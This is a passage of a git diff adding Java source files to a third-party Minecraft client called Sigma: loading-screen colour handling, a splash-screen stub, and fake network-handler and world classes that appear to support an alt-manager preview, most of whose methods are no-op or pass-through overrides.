n7), (float)n3, 20.0f, 10.0f, 霥瀳놣㠠釒(-65794, 0.3f * n)); + 䬹鞞葫Ꮀ待湗((float)(n5 + 1), (float)(round + n4 + n7 + 1), (float)(n3 - 2), 18.0f, 9.0f, 霥瀳놣㠠釒(0, 1.0f * n)); +// } + 䬹鞞葫Ꮀ待湗((float)(n5 + 2), (float)(round + n4 + n7 + 2), (float)(int)((n3 - 4) * min), 16.0f, 8.0f, 霥瀳놣㠠釒(-65794, 0.9f * n)); + GL11.glPopMatrix(); + } + public boolean isPauseScreen() + { + return true; + } + + public static int 霥瀳놣㠠釒(final int n, final float n2) { + return (int)(n2 * 255.0f) << 24 | (n & 0xFFFFFF); + } + public void update() + { + this.colorBackground = field_238628_c_; + this.colorBar = field_238628_c_; + this.colorOutline = 16777215; + this.colorProgress = 16777215; + + if (Config.isCustomColors()) + { + try + { + String s = "optifine/color.properties"; + if(SigmaNG.betterResPack){ + s = s.replace("optifine/", "mcpatcher/"); + } + ResourceLocation resourcelocation = new ResourceLocation(s); + + if (!Config.hasResource(resourcelocation)) + { + return; + } + + InputStream inputstream = Config.getResourceStream(resourcelocation); + Config.dbg("Loading " + s); + Properties properties = new PropertiesOrdered(); + properties.load(inputstream); + inputstream.close(); + this.colorBackground = readColor(properties, "screen.loading", this.colorBackground); + this.colorOutline = readColor(properties, "screen.loading.outline", this.colorOutline); + this.colorBar = readColor(properties, "screen.loading.bar", this.colorBar); + this.colorProgress = readColor(properties, "screen.loading.progress", this.colorProgress); + this.blendState = ShaderPackParser.parseBlendState(properties.getProperty("screen.loading.blend")); + } + catch (Exception exception) + { + Config.warn("" + exception.getClass().getName() + ": " + exception.getMessage()); + } + } + } + + private static int readColor(Properties p_readColor_0_, String p_readColor_1_, int p_readColor_2_) + { + String s = p_readColor_0_.getProperty(p_readColor_1_); + + if (s == null) + { + return p_readColor_2_; + } + else + { + s = s.trim(); + int i = parseColor(s, p_readColor_2_); + + if (i < 0) + { + Config.warn("Invalid color: " + p_readColor_1_ + " = " + s); + return i; + } + else + { + Config.dbg(p_readColor_1_ + " = " + s); + return i; + } + } + } + + private static int parseColor(String p_parseColor_0_, int p_parseColor_1_) + { + if (p_parseColor_0_ == null) + { + return p_parseColor_1_; + } + else + { + p_parseColor_0_ = p_parseColor_0_.trim(); + + try + { + return Integer.parseInt(p_parseColor_0_, 16) & 16777215; + } + catch (NumberFormatException numberformatexception) + { + return p_parseColor_1_; + } + } + } +} diff --git a/src/info/sigmaclient/sigma/gui/SplashScreen.java b/src/info/sigmaclient/sigma/gui/SplashScreen.java new file mode 100644 index 00000000..24450a7c --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/SplashScreen.java @@ -0,0 +1,38 @@ +package info.sigmaclient.sigma.gui; + +import info.sigmaclient.sigma.utils.render.RenderUtils; +import net.minecraft.client.renderer.texture.TextureManager; + +import java.awt.*; + +public class SplashScreen { + private final TextureManager renderManager; + private final int steps; + private int currentStep = 0; + public boolean done = false; + private float progress = 10; + + private SplashScreen(TextureManager renderManager, int steps) { + this.renderManager = renderManager; + this.steps = steps; + } + + private void drawProgressBar() { + // draw rectangle with rounded corners (circle) + + RenderUtils.drawRoundedRect(0, 0, 1000, 1000, 360, new Color(255, 255, 255, 255).getRGB()); + } + + public void done() { + if (done) { + return; + } + synchronized (this) { + done = true; + } + } + + public static SplashScreen initSplashScreen(TextureManager renderManager, int steps) { + return new SplashScreen(renderManager, steps); + } +} diff --git a/src/info/sigmaclient/sigma/gui/altmanager/FakeNetHandlerPlayClient.java b/src/info/sigmaclient/sigma/gui/altmanager/FakeNetHandlerPlayClient.java new file mode 100644 index 00000000..e31ebdd8 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/FakeNetHandlerPlayClient.java @@ -0,0 +1,70 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import com.google.common.base.MoreObjects; +import com.mojang.authlib.GameProfile; +import net.minecraft.client.Minecraft; +import net.minecraft.client.network.play.ClientPlayNetHandler; +import net.minecraft.client.network.play.NetworkPlayerInfo; +import net.minecraft.network.NetworkManager; +import net.minecraft.network.PacketDirection; +import net.minecraft.network.play.server.SPlayerListItemPacket; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.world.GameType; + +import javax.annotation.Nullable; + +public class FakeNetHandlerPlayClient extends ClientPlayNetHandler +{ + public class AddPlayerData + { + private final int ping; + private final GameType gamemode; + private final GameProfile profile; + private final ITextComponent displayName; + + public AddPlayerData(GameProfile profileIn, int latencyIn, @Nullable GameType gameModeIn, @Nullable ITextComponent displayNameIn) + { + this.profile = profileIn; + this.ping = latencyIn; + this.gamemode = gameModeIn; + this.displayName = displayNameIn; + } + + public GameProfile getProfile() + { + return this.profile; + } + + public int getPing() + { + return this.ping; + } + + public GameType getGameMode() + { + return this.gamemode; + } + + @Nullable + public ITextComponent getDisplayName() + { + return this.displayName; + } + + public String toString() + { + return MoreObjects.toStringHelper(this).add("latency", this.ping).add("gameMode", this.gamemode).add("profile", this.profile).add("displayName", this.displayName == null ? null : ITextComponent.Serializer.toJson(this.displayName)).toString(); + } + } + private NetworkPlayerInfo playerInfo; + + public FakeNetHandlerPlayClient(final Minecraft mcIn) { + super(mcIn, mcIn.currentScreen, (NetworkManager) new FakeNetworkManager(PacketDirection.CLIENTBOUND), mcIn.getSession().getProfile()); + this.playerInfo = new NetworkPlayerInfo(new AddPlayerData(mcIn.session.getProfile(), 0, GameType.SURVIVAL, new StringTextComponent(""))); + } + + public NetworkPlayerInfo getPlayerInfo(final String name) { + return this.playerInfo; + } +} \ No newline at end of file diff --git a/src/info/sigmaclient/sigma/gui/altmanager/FakeNetworkManager.java b/src/info/sigmaclient/sigma/gui/altmanager/FakeNetworkManager.java new file mode 100644 index 00000000..ccd32dc8 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/FakeNetworkManager.java @@ -0,0 +1,38 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import io.netty.buffer.ByteBufAllocator; +import io.netty.channel.*; +import io.netty.util.Attribute; +import io.netty.util.AttributeKey; +import net.minecraft.network.NetworkManager; +import net.minecraft.network.PacketDirection; + +import java.io.IOException; +import java.net.SocketAddress; +import java.nio.channels.Channel; + +public class FakeNetworkManager extends NetworkManager +{ + public FakeNetworkManager(final PacketDirection packetDirection) + { + super(packetDirection); + } + + public Channel channel() { + return new Channel() { + @Override + protected void finalize() { + } + + @Override + public boolean isOpen() { + return false; + } + + @Override + public void close() { + + } + }; + } +} \ No newline at end of file diff --git a/src/info/sigmaclient/sigma/gui/altmanager/FakeWorld.java b/src/info/sigmaclient/sigma/gui/altmanager/FakeWorld.java new file mode 100644 index 00000000..153e1440 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/FakeWorld.java @@ -0,0 +1,1356 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import net.minecraft.client.entity.player.AbstractClientPlayerEntity; +import net.minecraft.client.multiplayer.ClientChunkProvider; +import net.minecraft.client.network.play.ClientPlayNetHandler; +import net.minecraft.client.renderer.RenderTypeBuffers; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.client.world.DimensionRenderInfo; +import net.minecraft.crash.CrashReport; +import net.minecraft.crash.CrashReportCategory; +import net.minecraft.fluid.Fluid; +import net.minecraft.fluid.FluidState; +import net.minecraft.item.crafting.RecipeManager; +import net.minecraft.network.IPacket; +import net.minecraft.particles.IParticleData; +import net.minecraft.profiler.*; +import net.minecraft.scoreboard.Scoreboard; +import net.minecraft.server.MinecraftServer; +import net.minecraft.tags.ITagCollectionSupplier; +import net.minecraft.tileentity.*; +import net.minecraft.block.*; +import net.minecraft.client.audio.*; +import net.minecraft.util.*; +import net.minecraft.block.material.*; +import java.util.*; +import javax.annotation.*; +import net.minecraft.nbt.*; +import net.minecraft.entity.*; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceContext; +import net.minecraft.util.math.shapes.ISelectionContext; +import net.minecraft.util.math.shapes.VoxelShape; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.registry.DynamicRegistries; +import net.minecraft.util.registry.Registry; +import net.minecraft.world.biome.Biome; +import net.minecraft.world.biome.BiomeManager; +import net.minecraft.world.biome.DefaultBiomeMagnifier; +import net.minecraft.world.biome.IBiomeMagnifier; +import net.minecraft.world.border.WorldBorder; +import net.minecraft.world.chunk.*; +import net.minecraft.world.*; +import net.minecraft.entity.player.*; +import net.minecraft.client.*; +import net.minecraft.world.chunk.storage.*; +import net.minecraft.world.gen.Heightmap; +import net.minecraft.world.level.ColorResolver; +import net.minecraft.world.lighting.WorldLightManager; +import net.minecraft.world.storage.*; +import org.jetbrains.annotations.Nullable; + +import java.io.*; +import java.util.function.*; +import java.util.stream.Stream; + +import static net.minecraft.world.Difficulty.HARD; + +public class FakeWorld extends ClientWorld { + public FakeWorld(final FakeNetHandlerPlayClient netHandler) { + super( + netHandler, + new ClientWorldInfo(HARD, false, false), + RegistryKey.getOrCreateKey(Registry.WORLD_KEY, new ResourceLocation("overworld")), + new DimensionType( + OptionalLong.of(0), + false, + false, + false, + false, + 0, + false, + false, + false, + false, + false, + 0, + DefaultBiomeMagnifier.INSTANCE + , + new ResourceLocation(""), new ResourceLocation(""), 0 + ), + 0, + Minecraft.getInstance()::getProfiler, + Minecraft.getInstance().worldRenderer, + false, + 0 + ); +// Minecraft.getInstance().loadWorld(this); + } + + + protected boolean isChunkLoaded(final int i, final int i1, final boolean b) { + return true; + } + + public BlockPos getTopSolidOrLiquidBlock(final BlockPos pos) { + return new BlockPos(pos.getX(), 63, pos.getZ()); + } + + public boolean isAirBlock(final BlockPos pos) { + return true; + } + + + public boolean setBlockState(final BlockPos pos, final BlockState state) { + return true; + } + + public boolean setBlockToAir(final BlockPos pos) { + return true; + } + + public void markChunkDirty(final BlockPos pos, final TileEntity unusedTileEntity) { + } + + public void notifyBlockUpdate(final BlockPos pos, final BlockState oldState, final BlockState newState, final int flags) { + } + + public boolean destroyBlock(final BlockPos pos, final boolean dropBlock) { + return true; + } + + public void notifyNeighborsOfStateExcept(final BlockPos pos, final Block blockType, final Direction skipSide) { + } + + public void notifyNeighborsRespectDebug(final BlockPos pos, final Block blockType, final boolean p_175722_3_) { + } + + public void markAndNotifyBlock(final BlockPos pos, final Chunk chunk, final BlockState BlockState, final BlockState newState, final int flags) { + } + + public void markBlocksDirtyVertical(final int par1, final int par2, final int par3, final int par4) { + } + + public void markBlockRangeForRenderUpdate(final int p_147458_1_, final int p_147458_2_, final int p_147458_3_, final int p_147458_4_, final int p_147458_5_, final int p_147458_6_) { + } + + public boolean isBlockTickPending(final BlockPos pos, final Block blockType) { + return true; + } + + public boolean getLightFromNeighbors(final BlockPos pos) { + return false; + } + + public int getLight(final BlockPos pos, final boolean checkNeighbors) { + return 0; + } + + public int getLight(final BlockPos pos) { + return 0; + } + + public boolean canBlockSeeSky(final BlockPos pos) { + return true; + } + + public BlockPos getHeight(final BlockPos pos) { + return new BlockPos(pos.getX(), 63, pos.getZ()); + } + + + public float getSunBrightness(final float p_72971_1_) { + return 1.0f; + } + + + public boolean isDaytime() { + return true; + } + + + public void onEntityAdded(final Entity par1Entity) { + } + + public void onEntityRemoved(final Entity par1Entity) { + } + + public void removeEntity(final Entity par1Entity) { + } + + public void removeEntityDangerously(final Entity entityIn) { + } + + public int calculateSkylightSubtracted(final float par1) { + return 0; + } + + public void scheduleBlockUpdate(final BlockPos pos, final Block blockIn, final int delay, final int priority) { + } + + public void updateEntities() { + } + + public void updateEntityWithOptionalForce(final Entity entityIn, final boolean forceUpdate) { + if (forceUpdate) { + ++entityIn.ticksExisted; + } + } + + public boolean checkNoEntityCollision(final AxisAlignedBB bb) { + return true; + } + + public boolean checkNoEntityCollision(final AxisAlignedBB bb, final Entity entityIn) { + return true; + } + + public boolean checkBlockCollision(final AxisAlignedBB bb) { + return true; + } + + public boolean containsAnyLiquid(final AxisAlignedBB bb) { + return true; + } + + public boolean handleMaterialAcceleration(final AxisAlignedBB par1AxisAlignedBB, final Material par2Material, final Entity par3Entity) { + return true; + } + + public boolean isMaterialInBB(final AxisAlignedBB par1AxisAlignedBB, final Material par2Material) { + return true; + } + + public TileEntity getTileEntity(final BlockPos pos) { + return null; + } + + + public String getDebugLoadedEntities() { + return ""; + } + + + public String getProviderName() { + return ""; + } + + public void setTileEntity(final BlockPos pos, final TileEntity tileEntityIn) { + } + + public void removeTileEntity(final BlockPos pos) { + } + + public void markTileEntityForRemoval(final TileEntity p_147457_1_) { + } + + public boolean isBlockNormalCube(final BlockPos pos, final boolean _default) { + return true; + } + + public void tick() { + } + + protected void updateWeather() { + } + + public void updateWeatherBody() { + } + + public boolean canBlockFreezeWater(final BlockPos pos) { + return true; + } + + public boolean canBlockFreezeNoWater(final BlockPos pos) { + return true; + } + + public boolean canBlockFreeze(final BlockPos pos, final boolean noWaterAdj) { + return true; + } + + public boolean canBlockFreezeBody(final BlockPos pos, final boolean noWaterAdj) { + return true; + } + + public boolean canSnowAt(final BlockPos pos, final boolean checkLight) { + return true; + } + + public boolean canSnowAtBody(final BlockPos pos, final boolean checkLight) { + return true; + } + + public boolean tickUpdates(final boolean par1) { + return true; + } + + public List getPendingBlockUpdates(final Chunk par1Chunk, final boolean par2) { + return null; + } + + public Entity findNearestEntityWithinAABB(final Class par1Class, final AxisAlignedBB par2AxisAlignedBB, final Entity par3Entity) { + return null; + } + + + public int countEntities(final Class par1Class) { + return 0; + } + + public int getStrongPower(final BlockPos pos) { + return 0; + } + + public int getStrongPower(final BlockPos pos, final Direction direction) { + return 0; + } + + public boolean isSidePowered(final BlockPos pos, final Direction side) { + return true; + } + + public int getRedstonePower(final BlockPos pos, final Direction facing) { + return 0; + } + + public boolean isBlockPowered(final BlockPos pos) { + return true; + } + + public int isBlockIndirectlyGettingPowered(final BlockPos pos) { + return 0; + } + + public void checkSessionLock() { + } + + public long getSeed() { + return 1L; + } + + public long getTotalWorldTime() { + return 1L; + } + + public long getWorldTime() { + return 1L; + } + + public void setWorldTime(final long par1) { + } + + public BlockPos getSpawnPoint() { + return new BlockPos(0, 64, 0); + } + + + public void joinEntityInSurroundings(final Entity par1Entity) { + } + + public boolean canSeeSky(final BlockPos pos) { + return true; + } + + public void setEntityState(final Entity par1Entity, final byte par2) { + } + + public float getThunderStrength(final float delta) { + return 0.0f; + } + + public void addBlockEvent(final BlockPos pos, final Block blockIn, final int eventID, final int eventParam) { + } + + public void updateAllPlayersSleepingFlag() { + } + + public boolean isRainingAt(final BlockPos strikePosition) { + return true; + } + + + public void setThunderStrength(final float p_147442_1_) { + } + + public float getRainStrength(final float par1) { + return 0.0f; + } + + + public void setRainStrength(final float par1) { + } + + public boolean isThundering() { + return true; + } + + public boolean isRaining() { + return true; + } + + public boolean isBlockinHighHumidity(final BlockPos pos) { + return true; + } + + public void setItemData(final String dataID, final WorldSavedData worldSavedDataIn) { + } + + public void playBroadcastSound(final int p_175669_1_, final BlockPos pos, final int p_175669_3_) { + } + + @Override + public Iterable getLoadedEntityList() { + return super.getLoadedEntityList(); + } + + public FakeWorld(ClientPlayNetHandler p_i242067_1_, ClientWorldInfo p_i242067_2_, RegistryKey p_i242067_3_, DimensionType p_i242067_4_, int p_i242067_5_, Supplier p_i242067_6_, WorldRenderer p_i242067_7_, boolean p_i242067_8_, long p_i242067_9_) { + super(p_i242067_1_, p_i242067_2_, p_i242067_3_, p_i242067_4_, p_i242067_5_, p_i242067_6_, p_i242067_7_, p_i242067_8_, p_i242067_9_); + } + + @Override + public DimensionRenderInfo func_239132_a_() { + return super.func_239132_a_(); + } + + @Override + public void tick(BooleanSupplier hasTimeLeft) { + super.tick(hasTimeLeft); + } + + @Override + public void func_239134_a_(long p_239134_1_) { + super.func_239134_a_(p_239134_1_); + } + + @Override + public void setDayTime(long time) { + super.setDayTime(time); + } + + @Override + public Iterable getAllEntities() { + return super.getAllEntities(); + } + + @Override + public void tickEntities() { + super.tickEntities(); + } + + @Override + public void updateEntity(Entity entityIn) { + super.updateEntity(entityIn); + } + + @Override + public void updateEntityRidden(Entity p_217420_1_, Entity p_217420_2_) { + super.updateEntityRidden(p_217420_1_, p_217420_2_); + } + + @Override + public void onChunkUnloaded(Chunk chunkIn) { + super.onChunkUnloaded(chunkIn); + } + + @Override + public void onChunkLoaded(int chunkX, int chunkZ) { + super.onChunkLoaded(chunkX, chunkZ); + } + + @Override + public void clearColorCaches() { + super.clearColorCaches(); + } + + @Override + public boolean chunkExists(int chunkX, int chunkZ) { + return true; + } + + @Override + public void addPlayer(int playerId, AbstractClientPlayerEntity playerEntityIn) { + super.addPlayer(playerId, playerEntityIn); + } + + @Override + public void addEntity(int entityIdIn, Entity entityToSpawn) { + super.addEntity(entityIdIn, entityToSpawn); + } + + @Override + public void removeEntityFromWorld(int eid) { + super.removeEntityFromWorld(eid); + } + + @Override + public void addEntitiesToChunk(Chunk chunkIn) { + super.addEntitiesToChunk(chunkIn); + } + + @Nullable + @Override + public Entity getEntityByID(int id) { + return super.getEntityByID(id); + } + + @Override + public void invalidateRegionAndSetBlock(BlockPos pos, BlockState state) { + super.invalidateRegionAndSetBlock(pos, state); + } + + @Override + public void sendQuittingDisconnectingPacket() { + super.sendQuittingDisconnectingPacket(); + } + + @Override + public void animateTick(int posX, int posY, int posZ) { + super.animateTick(posX, posY, posZ); + } + + @Override + public void animateTick(int x, int y, int z, int offset, Random random, boolean holdingBarrier, BlockPos.Mutable pos) { + super.animateTick(x, y, z, offset, random, holdingBarrier, pos); + } + + @Override + public void removeAllEntities() { + super.removeAllEntities(); + } + + @Override + public CrashReportCategory fillCrashReport(CrashReport report) { + return super.fillCrashReport(report); + } + + @Override + public void playSound(@Nullable PlayerEntity player, double x, double y, double z, SoundEvent soundIn, SoundCategory category, float volume, float pitch) { + super.playSound(player, x, y, z, soundIn, category, volume, pitch); + } + + @Override + public void playMovingSound(@Nullable PlayerEntity playerIn, Entity entityIn, SoundEvent eventIn, SoundCategory categoryIn, float volume, float pitch) { + super.playMovingSound(playerIn, entityIn, eventIn, categoryIn, volume, pitch); + } + + @Override + public void playSound(BlockPos pos, SoundEvent soundIn, SoundCategory category, float volume, float pitch, boolean distanceDelay) { + super.playSound(pos, soundIn, category, volume, pitch, distanceDelay); + } + + @Override + public void playSound(double x, double y, double z, SoundEvent soundIn, SoundCategory category, float volume, float pitch, boolean distanceDelay) { + super.playSound(x, y, z, soundIn, category, volume, pitch, distanceDelay); + } + + @Override + public void makeFireworks(double x, double y, double z, double motionX, double motionY, double motionZ, @Nullable CompoundNBT compound) { + super.makeFireworks(x, y, z, motionX, motionY, motionZ, compound); + } + + @Override + public void sendPacketToServer(IPacket packetIn) { + super.sendPacketToServer(packetIn); + } + + @Override + public RecipeManager getRecipeManager() { + return super.getRecipeManager(); + } + + @Override + public void setScoreboard(Scoreboard scoreboardIn) { + super.setScoreboard(scoreboardIn); + } + + @Override + public ITickList getPendingBlockTicks() { + return super.getPendingBlockTicks(); + } + + @Override + public ITickList getPendingFluidTicks() { + return super.getPendingFluidTicks(); + } + + @Override + public ClientChunkProvider getChunkProvider() { + return super.getChunkProvider(); + } + + @Override + public boolean setBlockState(BlockPos pos, BlockState newState, int flags) { + return true; + } + + @Override + public boolean isPlayerUpdate() { + return true; + } + + @Nullable + @Override + public MapData getMapData(String mapName) { + return super.getMapData(mapName); + } + + @Override + public void registerMapData(MapData mapDataIn) { + super.registerMapData(mapDataIn); + } + + @Override + public int getNextMapId() { + return 0; + } + + @Override + public Scoreboard getScoreboard() { + return super.getScoreboard(); + } + + @Override + public ITagCollectionSupplier getTags() { + return super.getTags(); + } + + @Override + public DynamicRegistries func_241828_r() { + return super.func_241828_r(); + } + + @Override + public void markBlockRangeForRenderUpdate(BlockPos blockPosIn, BlockState oldState, BlockState newState) { + super.markBlockRangeForRenderUpdate(blockPosIn, oldState, newState); + } + + @Override + public void markSurroundingsForRerender(int sectionX, int sectionY, int sectionZ) { + super.markSurroundingsForRerender(sectionX, sectionY, sectionZ); + } + + @Override + public void sendBlockBreakProgress(int breakerId, BlockPos pos, int progress) { + super.sendBlockBreakProgress(breakerId, pos, progress); + } + + @Override + public void addParticle(IParticleData particleData, double x, double y, double z, double xSpeed, double ySpeed, double zSpeed) { + super.addParticle(particleData, x, y, z, xSpeed, ySpeed, zSpeed); + } + + @Override + public void addParticle(IParticleData particleData, boolean forceAlwaysRender, double x, double y, double z, double xSpeed, double ySpeed, double zSpeed) { + super.addParticle(particleData, forceAlwaysRender, x, y, z, xSpeed, ySpeed, zSpeed); + } + + @Override + public void addOptionalParticle(IParticleData particleData, double x, double y, double z, double xSpeed, double ySpeed, double zSpeed) { + super.addOptionalParticle(particleData, x, y, z, xSpeed, ySpeed, zSpeed); + } + + @Override + public void addOptionalParticle(IParticleData particleData, boolean ignoreRange, double x, double y, double z, double xSpeed, double ySpeed, double zSpeed) { + super.addOptionalParticle(particleData, ignoreRange, x, y, z, xSpeed, ySpeed, zSpeed); + } + + @Override + public List getPlayers() { + return super.getPlayers(); + } + + @Override + public Biome getNoiseBiomeRaw(int x, int y, int z) { + return super.getNoiseBiomeRaw(x, y, z); + } + + @Override + public Vector3d getSkyColor(BlockPos blockPosIn, float partialTicks) { + return super.getSkyColor(blockPosIn, partialTicks); + } + + @Override + public Vector3d getCloudColor(float partialTicks) { + return super.getCloudColor(partialTicks); + } + + @Override + public float getStarBrightness(float partialTicks) { + return super.getStarBrightness(partialTicks); + } + + @Override + public int getTimeLightningFlash() { + return 0; + } + + @Override + public void setTimeLightningFlash(int timeFlashIn) { + super.setTimeLightningFlash(timeFlashIn); + } + + @Override + public float func_230487_a_(Direction p_230487_1_, boolean p_230487_2_) { + return super.func_230487_a_(p_230487_1_, p_230487_2_); + } + + @Override + public int getBlockColor(BlockPos blockPosIn, ColorResolver colorResolverIn) { + return 0; + } + + @Override + public int getBlockColorRaw(BlockPos blockPosIn, ColorResolver colorResolverIn) { + return 0; + } + + @Override + public BlockPos func_239140_u_() { + return super.func_239140_u_(); + } + + @Override + public float func_243489_v() { + return super.func_243489_v(); + } + + @Override + public void func_239136_a_(BlockPos p_239136_1_, float p_239136_2_) { + super.func_239136_a_(p_239136_1_, p_239136_2_); + } + + @Override + public String toString() { + return super.toString(); + } + + @Override + public ClientWorldInfo getWorldInfo() { + return super.getWorldInfo(); + } + + @Override + public Stream func_230318_c_(@Nullable Entity p_230318_1_, AxisAlignedBB p_230318_2_, Predicate p_230318_3_) { + return super.func_230318_c_(p_230318_1_, p_230318_2_, p_230318_3_); + } + + @Override + public boolean checkNoEntityCollision(@Nullable Entity entityIn, VoxelShape shape) { + return true; + } + + @Override + public BlockPos getHeight(Heightmap.Type heightmapType, BlockPos pos) { + return super.getHeight(heightmapType, pos); + } + + @Override + public Optional> func_242406_i(BlockPos p_242406_1_) { + return super.func_242406_i(p_242406_1_); + } + + @Override + public int getLightFor(LightType lightTypeIn, BlockPos blockPosIn) { + return 0; + } + + @Override + public int getLightSubtracted(BlockPos blockPosIn, int amount) { + return 0; + } + + @Override + public int getLightValue(BlockPos pos) { + return 0; + } + + @Override + public int getMaxLightLevel() { + return 0; + } + + @Override + public Stream func_234853_a_(AxisAlignedBB p_234853_1_) { + return super.func_234853_a_(p_234853_1_); + } + + @Override + public BlockRayTraceResult rayTraceBlocks(RayTraceContext context) { + return super.rayTraceBlocks(context); + } + + @Nullable + @Override + public BlockRayTraceResult rayTraceBlocks(Vector3d startVec, Vector3d endVec, BlockPos pos, VoxelShape shape, BlockState state) { + return super.rayTraceBlocks(startVec, endVec, pos, shape, state); + } + + @Override + public double func_242402_a(VoxelShape p_242402_1_, Supplier p_242402_2_) { + return super.func_242402_a(p_242402_1_, p_242402_2_); + } + + @Override + public double func_242403_h(BlockPos p_242403_1_) { + return super.func_242403_h(p_242403_1_); + } + + @Override + public boolean placedBlockCollides(BlockState state, BlockPos pos, ISelectionContext context) { + return true; + } + + @Override + public boolean checkNoEntityCollision(Entity entity) { + return true; + } + + @Override + public boolean hasNoCollisions(AxisAlignedBB aabb) { + return true; + } + + @Override + public boolean hasNoCollisions(Entity entity) { + return true; + } + + @Override + public boolean hasNoCollisions(Entity entity, AxisAlignedBB aabb) { + return true; + } + + @Override + public boolean hasNoCollisions(@Nullable Entity entity, AxisAlignedBB aabb, Predicate entityPredicate) { + return true; + } + + @Override + public Stream func_234867_d_(@Nullable Entity entity, AxisAlignedBB aabb, Predicate entityPredicate) { + return super.func_234867_d_(entity, aabb, entityPredicate); + } + + @Override + public Stream getCollisionShapes(@Nullable Entity entity, AxisAlignedBB aabb) { + return super.getCollisionShapes(entity, aabb); + } + + @Override + public boolean func_242405_a(@Nullable Entity p_242405_1_, AxisAlignedBB p_242405_2_, BiPredicate p_242405_3_) { + return true; + } + + @Override + public Stream func_241457_a_(@Nullable Entity entity, AxisAlignedBB aabb, BiPredicate statePosPredicate) { + return super.func_241457_a_(entity, aabb, statePosPredicate); + } + + @Override + public float getMoonFactor() { + return super.getMoonFactor(); + } + + @Override + public float func_242415_f(float p_242415_1_) { + return super.func_242415_f(p_242415_1_); + } + + @Override + public int getMoonPhase() { + return 0; + } + + @Override + public List getEntitiesWithinAABBExcludingEntity(@Nullable Entity entityIn, AxisAlignedBB bb) { + return super.getEntitiesWithinAABBExcludingEntity(entityIn, bb); + } + + @Override + public List getEntitiesWithinAABB(Class p_217357_1_, AxisAlignedBB p_217357_2_) { + return super.getEntitiesWithinAABB(p_217357_1_, p_217357_2_); + } + + @Override + public List getLoadedEntitiesWithinAABB(Class p_225317_1_, AxisAlignedBB p_225317_2_) { + return super.getLoadedEntitiesWithinAABB(p_225317_1_, p_225317_2_); + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(double x, double y, double z, double distance, @Nullable Predicate predicate) { + return super.getClosestPlayer(x, y, z, distance, predicate); + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(Entity entityIn, double distance) { + return super.getClosestPlayer(entityIn, distance); + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(double x, double y, double z, double distance, boolean creativePlayers) { + return super.getClosestPlayer(x, y, z, distance, creativePlayers); + } + + @Override + public boolean isPlayerWithin(double x, double y, double z, double distance) { + return true; + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(EntityPredicate predicate, LivingEntity target) { + return super.getClosestPlayer(predicate, target); + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(EntityPredicate predicate, LivingEntity target, double p_217372_3_, double p_217372_5_, double p_217372_7_) { + return super.getClosestPlayer(predicate, target, p_217372_3_, p_217372_5_, p_217372_7_); + } + + @Nullable + @Override + public PlayerEntity getClosestPlayer(EntityPredicate predicate, double x, double y, double z) { + return super.getClosestPlayer(predicate, x, y, z); + } + + @Nullable + @Override + public T getClosestEntityWithinAABB(Class entityClazz, EntityPredicate p_217360_2_, @Nullable LivingEntity target, double x, double y, double z, AxisAlignedBB boundingBox) { + return super.getClosestEntityWithinAABB(entityClazz, p_217360_2_, target, x, y, z, boundingBox); + } + + @Nullable + @Override + public T func_225318_b(Class p_225318_1_, EntityPredicate p_225318_2_, @Nullable LivingEntity p_225318_3_, double p_225318_4_, double p_225318_6_, double p_225318_8_, AxisAlignedBB p_225318_10_) { + return super.func_225318_b(p_225318_1_, p_225318_2_, p_225318_3_, p_225318_4_, p_225318_6_, p_225318_8_, p_225318_10_); + } + + @Nullable + @Override + public T getClosestEntity(List entities, EntityPredicate predicate, @Nullable LivingEntity target, double x, double y, double z) { + return super.getClosestEntity(entities, predicate, target, x, y, z); + } + + @Override + public List getTargettablePlayersWithinAABB(EntityPredicate predicate, LivingEntity target, AxisAlignedBB box) { + return super.getTargettablePlayersWithinAABB(predicate, target, box); + } + + @Override + public List getTargettableEntitiesWithinAABB(Class p_217374_1_, EntityPredicate p_217374_2_, LivingEntity p_217374_3_, AxisAlignedBB p_217374_4_) { + return super.getTargettableEntitiesWithinAABB(p_217374_1_, p_217374_2_, p_217374_3_, p_217374_4_); + } + + @Nullable + @Override + public PlayerEntity getPlayerByUuid(UUID uniqueIdIn) { + return super.getPlayerByUuid(uniqueIdIn); + } + + @Override + public long func_241851_ab() { + return super.func_241851_ab(); + } + + @Override + public Difficulty getDifficulty() { + return super.getDifficulty(); + } + + @Override + public void func_230547_a_(BlockPos p_230547_1_, Block p_230547_2_) { + super.func_230547_a_(p_230547_1_, p_230547_2_); + } + + @Override + public int func_234938_ad_() { + return 0; + } + + @Override + public Biome getBiome(BlockPos pos) { + return super.getBiome(pos); + } + + @Override + public Stream getStatesInArea(AxisAlignedBB aabb) { + return super.getStatesInArea(aabb); + } + + @Override + public Biome getNoiseBiome(int x, int y, int z) { + return super.getNoiseBiome(x, y, z); + } + + @Override + public float getBrightness(BlockPos pos) { + return super.getBrightness(pos); + } + + @Override + public IChunk getChunk(BlockPos pos) { + return super.getChunk(pos); + } + + @Override + public IChunk getChunk(int chunkX, int chunkZ, ChunkStatus requiredStatus) { + return super.getChunk(chunkX, chunkZ, requiredStatus); + } + + @Override + public boolean hasWater(BlockPos pos) { + return true; + } + + @Override + public int getNeighborAwareLightSubtracted(BlockPos pos, int amount) { + return 0; + } + + @Override + public boolean isBlockLoaded(BlockPos pos) { + return true; + } + + @Override + public boolean isAreaLoaded(BlockPos from, BlockPos to) { + return true; + } + + @Override + public boolean isAreaLoaded(int fromX, int fromY, int fromZ, int toX, int toY, int toZ) { + return true; + } + + @Override + public boolean destroyBlock(BlockPos pos, boolean dropBlock, @Nullable Entity entity) { + return true; + } + + @Override + public boolean 